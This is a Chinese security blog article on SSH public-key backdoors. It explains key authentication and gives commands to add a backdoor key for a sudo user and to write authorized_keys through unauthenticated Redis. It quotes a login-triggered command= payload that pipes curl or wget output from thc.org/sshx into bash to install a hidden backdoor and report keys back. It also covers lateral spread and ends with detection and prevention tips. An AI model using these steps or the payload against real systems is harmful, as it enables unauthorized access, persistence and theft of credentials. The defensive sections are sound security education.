浅析SSH公钥后门

fatmo

1年网络安全行业的从业经验，目前做安全开发的工作，擅长恶意代码分析，能熟练地排查各种恶意软件，找出潜在的安全威胁，保障系统程序的稳定运行。

该文章首发在i春秋论坛，欢迎各位师傅完成专业爱好者认证，可第一时间获取最新技术资讯和实战技能分享。

最近看到了国外的一篇关于SSH公钥后门的文章：

https://blog.thc.org/infecting-ssh-public-keys-with-backdoors ，受到启发。SSH的普及程度不言而喻，而公钥的验证方式因为其便利性也被广泛接受，因此SSH公钥后门是一个很容易骗过防护，而且有概率野蛮扩散的后门。

基于此，我写了一篇关于此类后门的文章，从SSH原理、公钥后门原理、后门利用方式、横向移动方式、防范技巧等几个方面对SSH公钥后门做一个详细的介绍。

SSH协议是客户端-服务端的模式，也就是说，机器开发了SSH服务端口后，客户端可以通过SSH协议连接到服务器，进行其他操作。

我们找一台支持SSH登录的机器，可以看到其打开了sshd服务。

这个sshd服务就是SSH协议的服务端服务，打开了sshd，我们就可以通过SSH协议连接到机器。一般SSH协议认证有两种方式：密码认证和公钥认证。密码认证比较简单，登录时输入目标服务器用户的账号密码即可，下面重点介绍——公钥认证。

公钥认证，指需要使用一对加密的字符串。一个是公钥，一个是私钥。

公钥是一种公开的加密密钥，可通过分发给其他人使用。它用于加密数据，以便只有拥有相关私钥的人可以解密该数据。其他人可以使用公钥进行加密，但无法解密。因此，公钥可被视为是一种安全的通信手段，因为只有拥有私钥的人才能解密。

私钥是一种保密的加密密钥，是与公钥相对应的一种加密密钥。私钥只需由加密数据的接收者拥有。使用私钥，接收者可以解密使用公钥加密的数据。因此，私钥的安全性对于数据的保密性至关重要。私钥通常存储在计算机或硬件设备中，并通过密码保护。

因此，SSH公钥认证的流程就是：

1.首先，SSH服务器会读取配置文件 /etc/ssh/sshd_config，以确定有关SSH服务器的配置参数。配置文件中包含了 SSH 守护进程（sshd）的配置信息，如监听的端口、是否允许密钥登录等。

2.客户端连接SSH服务器，服务器收到连接请求后会生成一个随机的会话ID，并将其发送给客户端。

3.服务器生成一个RSA或DSA密钥对，其中私钥存储在 /etc/ssh/ssh_host_rsa_key 或 /etc/ssh/ssh_host_dsa_key 中，公钥存储在 /etc/ssh/ssh_host_rsa_key.pub 或 /etc/ssh/ssh_host_dsa_key.pub 中。

4.服务器将公钥发送给客户端，客户端收到后，将其保存在 ~/.ssh/known_hosts 文件中，以后与该主机建立联系时将查找该文件以确认服务器的真实性。

5.客户端将自己的公钥发送给服务器。此时，如果服务器配置中设置不允许公钥登录或公钥格式不正确，服务器将会断开连接。

6.SSH服务器接收到客户端的公钥后，将在 /home/[user]/.ssh/authorized_keys 中查找相应的公钥，如果没有找到或者公钥格式不正确，则会断开连接。

7.如果公钥验证成功，SSH服务器将随机生成一个对称密钥，并使用公钥进行加密，并发送给客户端。

8.客户端使用其私钥进行解密，得到对称密钥。

9.最后，客户端和服务器之间将使用对称密钥进行加密通信。

在上文关于公钥验证的流程中我们得知，SSH服务器接收到客户端的公钥后，将在 /home/[user]/.ssh/authorized_keys 中查找相应的公钥，如果检查通过则完成认证，成功登录机器。

因此，通过篡改合法用户的SSH公钥或在SSH服务器上添加一个新的SSH公钥，以便攻击者在未经授权的情况下访问SSH服务器。攻击者可以使用修改过的公钥绕过密码认证，直接登录SSH服务器，从而控制服务器并窃取敏感信息。

可以在虚拟机上尝试插入SSH公钥后门：

1.首先确保机器开启了sshd，并且支持公钥验证

2.使用ssh-keygen生成RSA密钥对

echo -e "n" | ssh-keygen -t rsa -b 4096 -N "" -f ./key

3.新建用户，并把生成的公钥写入用户文件夹

sudo adduser auth_test
sudo mkdir /home/auth_testsudo mkdir /home/auth_test/.sshsudo cp ~/key.pub /home/auth_test/.ssh/authorized_keyssudo chown -R auth_test:auth_test /home/auth_test/.sshsudo chmod 700 /home/auth_test/.sshsudo chmod 600 /home/auth_test/.ssh/authorized_keys
sudo usermod -aG sudo auth_test

4.尝试使用私钥连接，成功

常见的后门检测方式有端口检测(可疑连接)、可疑进程检测(可疑服务、计划任务)、可疑文件检测、系统调用检测。我们可以从这四个维度来分析SSH骗过防护的能力：

1.端口检测：SSH公钥后门不开新端口，流量经过sshd服务端口，不可能被检测；

2.可疑进程检测：同理，无新进程，不可能被检测；

/home/[user]/.ssh/authorized_keys文件，且写入的是正常的公钥内容。类似WebShell的可疑字符检测方式无效，但是文件监控方式有效；

4.系统调用检测：没有可以系统调用，不可能被检测。

插入SSH公钥后门有两大前提：

1.SSHD服务支持密钥认证(默认支持)

因此，在SSHD服务支持密钥认证的前提下，一切文件写入的漏洞都有机会写入SSH公钥后门。其中就包括广泛存在的Redis未授权漏洞。

复现Redis未授权漏洞，并讲解如何利用它：

1.搭建redis环境，搭建过程参考：

https://blog.csdn.net/qq_43531669/article/details/130574785

2.准备一个测试账号auth_test，保证其还没有公钥文件写入。

3.公钥写入key.txt文件中

(echo -e "nn"; cat key.pub; echo -e "nn") > key.txt

4.将公钥写入redis

cat key.txt | redis-cli -h 192.168.153.143 -x set pub

5.修改redis备份目录为对应角色的.ssh目录

config set dir /home/auth_test/.ssh

6.修改备份文件名为authorized_keys，并备份。

config set dbfilename authorized_keyssave

7.公钥成功写入，并登录。

OpenSSH具有一个很少被提及的功能，即在公钥前添加命令。当用户成功登录时，这个命令将被执行。

举个例子，我们可以修改刚刚使用Redis写入的公钥，添加command参数。然后再次登录，会发现系统实际上执行了添加的命令！

那么，这个特性该如何利用？

场景一：在一个被入侵的主机上，可能存在防御机制，会自动发现并删除后门，或者在重启之后，后门失效。

场景二：对于需要统一管理多个资产的管理员来说，如何简单快速地进行配置登录呢？管理员可以创建一个密钥对，并自动将公钥复制到每台机器上。这样，只需要一个私钥，管理员就可以登录到他所管理的所有机器。而且，每当新机器被创建时，公钥也会自动复制到新机器上。

针对场景一，我们在command写入后门自动下载和安装的指令，只要用户登陆了系统，command就会执行，增加了后门存活率和防御难度。

针对场景二，我们只需要感染一个用户，那个用户的公钥被拷贝到其他机器并登陆时，就会自动下载帮拉起后门，自动化横移。

特别是在云部署的背景下，这个特性有很大的利用潜力，云部署通常会将管理员的公钥复制到新实例。

给出一个command自动下载和拉起后门的示例，来自文章开头给出的链接

[[ $(stat -c%Y /bin/sh) != $(stat -c%Y .ssh) ]] && {
    touch -r /bin/sh .ssh
    export KEY=""
    bash -c "$(curl -fsSL thc.org/sshx)" || bash -c "$(wget --no-verbose -O- thc.org/sshx)" || exit 0
} >/dev/null 2>/dev/null &
[[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND
[[ -z $SHELL ]] && SHELL=/bin/bash
[[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic
[[ -f /etc/motd ]] && cat /etc/motd
exec -a -$(basename $SHELL) $SHELL

命令从thc.org/sshx提取并在内存中执行的后门安装程序脚本，作为后台进程启动，不影响用户的登录。如果成功，则会将访问密钥和系统指标报告给我们的服务。

SSH公钥后门通过新建&修改~/.ssh/authorized_keys文件实现，那么：

1.保存所有用户的~/.ssh/authorized_keys文件的md5，定期审查；

2.审查所有~/.ssh/authorized_keys文件，是否包含多余的字符，如包含‘redis-bits’等字眼表示此公钥由redis备份写入；

3.审查是否有未知新用户创建。

预防可以从多方面入手：

1.设立ip白名单：仅在白名单内的ip可以访问ssh服务；

2.禁止所有~/.ssh/authorized_keys文件的写入和修改，或者监控其过程；

3.禁止新用户的创建或者监控其过程。

原文始发于微信公众号（i春秋）：浅析SSH公钥后门